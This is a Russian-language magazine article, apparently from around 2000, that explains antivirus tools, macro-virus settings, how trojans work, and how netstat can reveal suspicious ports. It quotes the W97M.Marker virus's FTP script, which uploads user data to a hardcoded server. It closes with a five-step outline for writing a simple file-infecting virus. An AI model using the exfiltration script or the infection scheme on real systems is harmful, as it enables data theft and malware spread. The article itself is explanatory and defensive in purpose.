IZONE - http://www.izcity.com/ - бесплатный софт, вэб-сервисы, ресурсы для раскрутки, свежие номера журнала "Internet Zone".

Раз троян, два троян (часть последняя)

Подробнее о троянах. Чем защищать компьютер и как написать вирус за пять шагов.

Алексей Павленко

Для защиты от вирусов я рекомендую установить три программы, которые могут даже входить в один антивирусный пакет. Нужен дисковый ревизор, резидентный сканер и обычная программа для поиска вредителей. Антивирусы могут помочь в 99% случаях. Оставшийся процент резервируется под новинки и слегка переделанные исходники. Впрочем, если вам кто-то действительно хочет досадить, то он сделает это, не сомневайтесь!

О стоимости. Все стоит денег, однако производители антивирусного программного обеспечения все чаще предлагают полные работоспособные версии бесплатно. Единственное «но»: так они будут функционировать лишь ограниченный промежуток времени. Потом надо скачивать новую версию или брать ее с компакт-дисков, распространяемых с журналами.

01
Рис.1. Установка подтверждения запуска макросов

02
Рис.2. Само подтверждение

Чтобы защититься от макровирусов, достаточно включить подтверждение запуска макросов (в Office 2000 по умолчанию вообще запрещен их запуск) и сохранения изменений normal.dot. Если вы открываете документ Офиса, а программа предупреждает, что файл содержит макросы, то советую вначале отключить их запуск, а потом нажать Alt-F11 и попробовать посмотреть код. Если он окажется скрытым, то лучше вообще стереть файл.

03
Рис.3. Читаем тело вируса

Хочу предостеречь, что не всегда антивирусы находят действительно вирусы. И это не удивительно, потому что в современные пакеты встроена возможность поиска модификаций вирусов или даже их новых версий (так называемый эвристический анализ). Учитывать надо еще тот факт, что в программе не хранятся исходные тела вирусов, ведь тогда размер базы будет составлять мегабайты! Процедуры заражения файлов очень похожи, чем и пользуются создатели антивирусных программ. Посудите сами, дополнения к DrWeb занимают по несколько килобайт, а с их помощью можно ловить гадов на сотню-другую больше.

Некоторое время назад мой товарищ скачал последнюю версию одного популярного антивируса и дополнения к нему. Запустил проверку, и программа сразу нашла пару подозрений на вирусы. Вылечить не смогла, зато успешно удалила файлы после согласия. Через минуту еще подозрения, и еще... Товарищу надоело нажимать кнопку с подтверждением, и он настроил программу на удаление всех «плохих» файлов. А потом антивирус подвел итоги и сообщил, сколько всего он нашел подозрений. Много нашел. Стал товарищ разбираться, от кого занес заразу. Оказалось, что программа ругалась на все файлы, откомпилированные Турбо Паскалем, без разбора: лабораторные, курсовой и т.д. Товарищ написал письмо в службу технической поддержки, в вежливой форме сообщил о проколах в программе и потерянных файлах. «Да», – ответила почти сразу техподдержка, - «Есть такой глюк, но мы его только что исправили. Вот, возьмите дополнение». Как вы думаете, что товарищ сделал с антивирусом после этого?

А теперь давайте разберемся с троянами. Трояны, или троянские кони, – тоже обычные программы, причем по написанию они проще вирусов, так как не несут в себе возможности размножения. Особенность такой программы заключается в том, что она передает данные пользователя другому человеку. Сам я не встречал, но вполне могу принять факт существования вируса и трояна в одном лице. Уже упомянутый в предыдущей части макровирус W97M.Marker несет в себе элементы трояна. Маркер создает в корневом каталоге файл netldx.vxd, который потом исполняет:

o 209.201.88.110"
user anonymous"
pass itsme@"
cd incoming"
ascii"
Тут находится список пользователей, 
через которых прошелся вирус
quit"

command.com /c ftp.exe -n -s:c:\netldx.vxd

Отсюда видно, что макрос передает на некий ftp-сервер информацию, а в ней может находиться ваше имя и адрес (если указывали в MS Office).

Это был простой пример, в котором использовались стандартные средства операционной системы для работы по сети. Трояны вообще чаще всего предназначены для сетевого взаимодействия, иначе как передать полученную информацию (например, пароли)? В крайнем случае программа может собирать данные, а потом человек, ее запустивший, непосредственно с компьютера-жертвы заберет результат. Но это совсем неинтересно. Так что если вы не подключены к сети и никого не пускаете за свой компьютер, можете быть относительно спокойны.

Часто трояны используют для другой цели – они помогают захватить управление над вашим компьютером. Для этого обычно применяется Back Orifice. Мне он не нравится, потому что не работает под Windows NT/2000, поэтому расскажу о возможностях троянцев на другом примере.

Сижу я как-то в университете за компьютером, делаю лабораторную. Рядом одногруппники занимаются тем же самым. Вдруг у одного из них компьютер перегрузился. Понятное дело, Windows, но через минуту опять перегрузился без причины. А потом на экране возникает надпись: «Что, Вася, лабы делаешь?». Мы народ грамотный, сразу поняли в чем дело, стали искать в памяти программу-троян. Обнаружили и удалили процесс. Через минуту у другого соседа экран погас. Естественно, про лабораторную сразу забыли. Заинтересовались, кто это над нами шутит. Сразу скажу, шутника не нашли (жалко, не было с собой нужных утилит). Зато нашли исходники троянца то ли на Delphi, то ли на C++ Builder.

Троянец состоял из двух частей: серверной и клиентской. Серверная управляла одной или несколькими клиентскими частями. Работало все очень просто. На компьютер переписывался клиент, который прятался куда-нибудь в каталог Windows. Он запускался невидимым окном каждый раз при загрузке ОС и опрашивал сетевой порт на получение данных. На другом компьютере запускалась серверная часть. Там указывался IP-адрес клиента. Если соединение с ним происходило, то можно было управлять удаленным компьютером. Нажмешь кнопку «Выключить монитор», по сети пошлется соответствующая текстовая строчка. Клиент примет ее и сделает то, что ему сказали. Кроме этого, он мог по запросу передать список запущенных приложений, файл, перегрузить/выключить компьютер, открыть или закрыть CD-ROM. Для последнего в программе использовался MediaPlayer (!!!) и десяток строчек кода. Про системные вызовы автор не знал. В общем, чтобы его написать, достаточно почитать Help по использованию компонентов TServerSocket и TClientSocket, а также изучить Delphi.FAQ. В последнем подробно написано, как выключать монитор. Странно, но почему-то это довольно популярный вопрос у пользователей.

Если немного расширить описанную программу, можно получать снимок экрана, двигать чужой мышью или «нажимать» клавиши клавиатуры. Забавный момент был, когда я сам читал Delphi.FAQ. Делал я тогда программу для общения по локальной сети (она получилась гораздо мощнее неудобного WinPopup, но почему-то популярности не завоевала). Встроил я в нее шутку – раз в 5 минут у пользователя открывался и закрывался CD-ROM. Теперь представьте картину: человек (один в комнате) запустил мою программу для общения, болтаем ни о чем, а я смотрю на часы. И тут пауза, что такое? Человек очень испугался, что у него в памяти сидит троянец, позакрывал все программы (кроме моей!) и стал вирусы искать всеми доступными средствами. Тут еще пять минут проходит, опять диск выехал. Парень прибегает ко мне за диском с антивирусами. Мы с соседом еле сдержались, чтобы не рассмеяться при нем. Через минуту я шутку убрал и выставил в сеть нормальную версию программы. Парень в конце концов догадался, что я виноват, но в чем именно было дело, так и не понял. Несколько дней спрашивал, в какую программу я ему троянца заслал.

Под каким видом распространяют троянских коней? Я встречал генератор троянцев. Несколькими нажатиями мыши создается файл zip.exe, у которого будет аналогичная иконка. Теперь его можно послать по электронной почте. При запуске инсталлируется клиентская часть, а чтобы пользователь ничего не заметил, программа вылетает с сообщением, что файл поврежден. «Бывает, не в первый раз закачка обрывается», – подумает человек и сотрет zip.exe. Вот и все, его компьютер под контролем.

Существуют специализированные программы для поиска троянов. Одна из их возможностей – сканирование используемых портов, на которых может висеть программа для получения инструкций. Возможно, я ошибаюсь, но, по-моему, для этого можно воспользоваться программой netstat.exe, входящей в поставку Windows.

04
Рис.4

Как видно из рисунка 4, на компьютере прослушивается несколько портов. Среди них http-сервер и другие стандартные службы. А вот порты 2020 и 2050 вызывают подозрение. Тем более, к 2020 кто-то присоединился. Хотя название компьютера одно и то же, кто знает, может на нем сразу и серверная часть троянца установлена?

Напоследок – схема написания простейшего вируса за 5 шагов:

Давайте договоримся, что в самом начале есть файл virus.exe, который получается при компиляции. И есть просто program.exe. virus.exe – обычная программа, при запуске она копируется в оперативную память, а там уже выполняется. По шагам рассмотрим что будет, если запустить virus.exe или зараженный program.exe.

Шаг 1 (поиск): Ищем другой program.exe (пропускаем virus.exe). Проверяем его последний байт. Если это буква V, то файл уже заражен. Переходим к шагу 1. Иначе шаг 2.

Шаг 2 (заражение): Читаем 10000 байт program.exe и записываем их в конец, после этого еще добавляем букву V. Читаем 10000 байт своего файла (который сейчас запустили), пишем их вместо начала program.exe. Если длина вируса была 10000 байт, а program.exe – 1000000, то после заражения размер полученного файла составит 10010001 байт.

Шаг 3 (восстановление файла): Если имя исполнимого файла virus.exe, то прекращаем работу. Задача выполнена: чужой файл мы заразили. Теперь сделаем так, чтобы пользователь не заметил, что у него вирус. Надо восстановить зараженный файл. Удаляем последний файл из своего исполнимого файла, читаем последние 10000 байт и записываем их в самое начало. Этим мы восстановили зараженный файл. Можно еще вернуть первоначальные атрибуты и файловое время.

Шаг 4 (запуск): Используя системный вызов, запускаем свой файл.

Шаг 5 (обратное заражение): Когда программа отработает, она вернет управление вирусу, запустившему ее. Он уже знает свой код и начальные 10000 байт program.exe. Просто заново пишет начало program.exe в конец файла, добавляет V, а свой код – в начало program.exe.

Все. Вирус заразил чужую программу, дал пользователю запустить приложение. При желании шаг 5 можно пропускать. Тогда получится вирус-спутник, блуждающий по дискам жертвы.

 

Близкие материалы на сервере:
Дареному коню - в зубы!
«Вот мчится тройка удалая троянских бешеных коней», или как совладать с данайцами, троян приносящими...

Из истории хака...
О борьбе с вирусами на государственном уровне, "Белой шляпе" и черве Морриса

Кто сегодня борется с вирусами
Вирусы приносят убытки одним и доходы другим.

В "окна" лезут вирусы
О "специализированных" вирусах под Windows 2000 и о мании величия вирусописателей

Малая вирусная энциклопедия. Часть I
История возникновения вирусов: с чего все начиналось...

Малая вирусная энциклопедия. Часть II
Восьмидесятые: вирусы наступают... а создателей вирусов сажают.

Малая вирусная энциклопедия. Часть III
Чем еще знаменита Болгария, кроме перца, что случилось после выхода Windows 95 и кто кого съел в антивирусном бизнесе.

Малая вирусная энциклопедия. Часть IV.
Вирусы третьего тысячелетия: что червь грядущий нам готовит?

Источник - SoftТерра, http://www.softerra.ru

 


Copyright © "Internet Zone", http://www.izcity.com/, info@izcity.com